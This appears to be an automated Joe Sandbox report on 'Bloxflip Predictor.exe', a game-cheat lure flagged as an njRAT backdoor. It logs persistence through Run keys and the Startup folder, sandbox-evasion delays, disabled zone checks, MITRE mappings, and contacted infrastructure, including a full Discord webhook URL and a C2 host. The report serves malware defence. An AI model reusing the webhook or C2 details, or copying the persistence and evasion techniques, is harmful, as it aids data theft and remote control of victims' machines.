Source: C:\Users\user\Desktop\Bloxflip Predictor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Bloxflip Predictor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Bloxflip Predictor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Bloxflip Predictor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Bloxflip Predictor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Bloxflip Predictor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Bloxflip Predictor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Bloxflip Predictor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Bloxflip Predictor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Bloxflip Predictor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Bloxflip Predictor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Bloxflip Predictor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Users\user\Desktop\Bloxflip Predictor.exe	Memory allocated: FA0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Bloxflip Predictor.exe	Memory allocated: 2B70000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Bloxflip Predictor.exe	Memory allocated: 4B70000 memory commit \| memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Memory allocated: 1250000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Memory allocated: 32B0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Memory allocated: 52B0000 memory commit \| memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Memory allocated: 3400000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Memory allocated: 3400000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Memory allocated: 5400000 memory commit \| memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows.exe	Memory allocated: 1830000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows.exe	Memory allocated: 34A0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows.exe	Memory allocated: 54A0000 memory commit \| memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\Bloxflip Predictor.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\Bloxflip Predictor.exe	Window / User API: threadDelayed 2686	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Window / User API: threadDelayed 7299	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Window / User API: foregroundWindowGot 1774	Jump to behavior

Source: C:\Users\user\Desktop\Bloxflip Predictor.exe TID: 2624	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe TID: 6588	Thread sleep count: 2686 > 30	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe TID: 6588	Thread sleep time: -2686000s >= -30000s	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe TID: 6588	Thread sleep count: 7299 > 30	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe TID: 6588	Thread sleep time: -7299000s >= -30000s	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe TID: 1292	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows.exe TID: 6728	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\Bloxflip Predictor.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Users\user\Desktop\Bloxflip Predictor.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\Desktop\Bloxflip Predictor.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows	Jump to behavior
Source: C:\Users\user\Desktop\Bloxflip Predictor.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Users\user\Desktop\Bloxflip Predictor.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu	Jump to behavior
Source: C:\Users\user\Desktop\Bloxflip Predictor.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Users\user\Desktop\Bloxflip Predictor.exe	File opened: C:\Users\user\AppData	Jump to behavior

Source: Bloxflip Predictor.exe, 0000000A.00000002.2393717586.00000000014C6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: Windows.exe, 0000000C.00000002.2880044538.00000000016A5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\,
Source: Bloxflip Predictor.exe, 00000002.00000002.4504825162.00000000013A7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\Bloxflip Predictor.exe

Process token adjusted: Debug

Source: C:\Users\user\Desktop\Bloxflip Predictor.exe

Memory allocated: page read and write | page guard

Source: C:\Users\user\Desktop\Bloxflip Predictor.exe

Process created: C:\Windows\Bloxflip Predictor.exe "C:\Windows\Bloxflip Predictor.exe"

Disables zone checking for all users

Source: Bloxflip Predictor.exe, 00000002.00000002.4505594179.00000000032B1000.00000004.00000800.00020000.00000000.sdmp, Bloxflip Predictor.exe, 00000002.00000002.4505594179.000000000377E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program Manager
Source: Bloxflip Predictor.exe, 00000002.00000002.4505594179.00000000032B1000.00000004.00000800.00020000.00000000.sdmp, Bloxflip Predictor.exe, 00000002.00000002.4505594179.000000000377E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program Manager@9

Source: C:\Windows\Bloxflip Predictor.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Bloxflip Predictor.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Source: C:\Windows\Bloxflip Predictor.exe

Registry value created: HKEY_CURRENT_USER\Environment SEE_MASK_NOZONECHECKS

Stealing of Sensitive Information

Source: Yara match	File source: Bloxflip Predictor.exe, type: SAMPLE
Source: Yara match	File source: 1.0.Bloxflip Predictor.exe.510000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.Bloxflip Predictor.exe.2b988c4.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.Bloxflip Predictor.exe.2b988c4.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000000.2042331899.0000000000512000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2145141321.0000000002B71000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Bloxflip Predictor.exe PID: 5504, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows.exe, type: DROPPED
Source: Yara match	File source: C:\Windows\Bloxflip Predictor.exe, type: DROPPED

Remote Access Functionality

Source: Yara match	File source: Bloxflip Predictor.exe, type: SAMPLE
Source: Yara match	File source: 1.0.Bloxflip Predictor.exe.510000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.Bloxflip Predictor.exe.2b988c4.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.Bloxflip Predictor.exe.2b988c4.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000000.2042331899.0000000000512000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2145141321.0000000002B71000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Bloxflip Predictor.exe PID: 5504, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows.exe, type: DROPPED
Source: Yara match	File source: C:\Windows\Bloxflip Predictor.exe, type: DROPPED

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Command and Scripting Interpreter	321 Registry Run Keys / Startup Folder	1 Access Token Manipulation	121 Masquerading	OS Credential Dumping	11 Security Software Discovery	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 DLL Side-Loading	12 Process Injection	11 Disable or Modify Tools	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	321 Registry Run Keys / Startup Folder	31 Virtualization/Sandbox Evasion	Security Account Manager	31 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 DLL Side-Loading	1 Access Token Manipulation	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	12 Process Injection	LSA Secrets	2 File and Directory Discovery	SSH	Keylogging	4 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Software Packing	Cached Domain Credentials	11 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
Bloxflip Predictor.exe	84%	ReversingLabs	ByteCode-MSIL.Backdoor.njRAT
Bloxflip Predictor.exe	100%	Avira	TR/Dropper.Gen7
Bloxflip Predictor.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows.exe	100%	Avira	TR/Dropper.Gen7
C:\Windows\Bloxflip Predictor.exe	100%	Avira	TR/Dropper.Gen7
C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows.exe	100%	Joe Sandbox ML
C:\Windows\Bloxflip Predictor.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows.exe	84%	ReversingLabs	ByteCode-MSIL.Backdoor.njRAT
C:\Windows\Bloxflip Predictor.exe	84%	ReversingLabs	ByteCode-MSIL.Backdoor.njRAT

Source	Detection	Scanner	Label	Link
https://gg.ylp.ta.sc-etiuq	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
discord.com	162.159.137.232	true	false		high
quite-cs.at.ply.gg	147.185.221.224	true	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://discord.com/api/webhooks/1040048109578895410/ewZ0edyfPb3PSo10z3bgM05aZex7uX3D_NzU6Fq1aA_P8lZYDHIuWHv2Qzzn-JTgsdIp	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://discord.com/api/webhooks/1040048109578895410/ewZ0edyfPb3PSo10z3bgM05aZex7uX3D_NzU6Fq1aA_P8lZ	Bloxflip Predictor.exe, Windows.exe.2.dr, Bloxflip Predictor.exe.1.dr	false		high
https://gg.ylp.ta.sc-etiuq	Bloxflip Predictor.exe, Windows.exe.2.dr, Bloxflip Predictor.exe.1.dr	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
162.159.137.232	discord.com	United States		13335	CLOUDFLARENETUS	false
147.185.221.224	quite-cs.at.ply.gg	United States		12087	SALSGIVERUS	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1574576
Start date and time:	2024-12-13 12:30:38 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 45s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	13
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Bloxflip Predictor.exe
Detection:	MAL
Classification:	mal100.phis.troj.adwa.evad.winEXE@14/6@2/2
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 216 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Behavior information exceeds normal sizes, reducing to normal. Report will have missing behavior information.
Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 13.107.246.63, 52.149.20.212
Excluded domains from analysis (whitelisted): ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
VT rate limit hit for: Bloxflip Predictor.exe

Simulations

Behavior and APIs

Time	Type	Description
06:32:21	API Interceptor	445047x Sleep call for process: Bloxflip Predictor.exe modified
12:31:33	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows.lnk
12:31:46	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Windows2 C:\Windows\Bloxflip Predictor.exe
12:31:54	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Windows C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Windows.URL
12:32:03	Autostart	Run: HKLM\Software\Microsoft\Windows\CurrentVersion\Run Windows2 C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Windows.URL
12:32:11	Autostart	Run: HKLM\Software\Microsoft\Windows\CurrentVersion\Run Windows C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Windows.URL
12:32:19	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run Windows2 C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Windows.URL
12:32:27	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run Windows C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Windows.URL
12:32:35	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
162.159.137.232	phost.exe	Get hash	malicious	Blank Grabber	Browse
	WE8zqotCFj.exe	Get hash	malicious	Blank Grabber, Umbral Stealer	Browse
	EsgeCzT4do.exe	Get hash	malicious	XWorm	Browse
	program.exe	Get hash	malicious	Blank Grabber	Browse
	NEVER OPEN!.exe	Get hash	malicious	Python Stealer, Empyrean, Discord Token Stealer	Browse
	YDW0S5K7hi.exe	Get hash	malicious	SilverRat	Browse
	Xyq6rvzLJs.exe	Get hash	malicious	SilverRat	Browse
	CFuejz2dRu.exe	Get hash	malicious	Discord Token Stealer	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.FileRepMalware.22561.28030.exe	Get hash	malicious	Python Stealer, Exela Stealer	Browse
147.185.221.224	freevbucks.exe	Get hash	malicious	Njrat	Browse
147.185.221.224	BlazingPackLauncher.exe	Get hash	malicious	Njrat	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
discord.com	chos.exe	Get hash	malicious	Unknown	Browse	162.159.138.232
	phost.exe	Get hash	malicious	Blank Grabber	Browse	162.159.137.232
	ihost.exe	Get hash	malicious	Python Stealer, Muck Stealer	Browse	162.159.136.232
	shost.exe	Get hash	malicious	Python Stealer, Muck Stealer	Browse	162.159.136.232
	sppawx.exe	Get hash	malicious	Blank Grabber	Browse	162.159.135.232
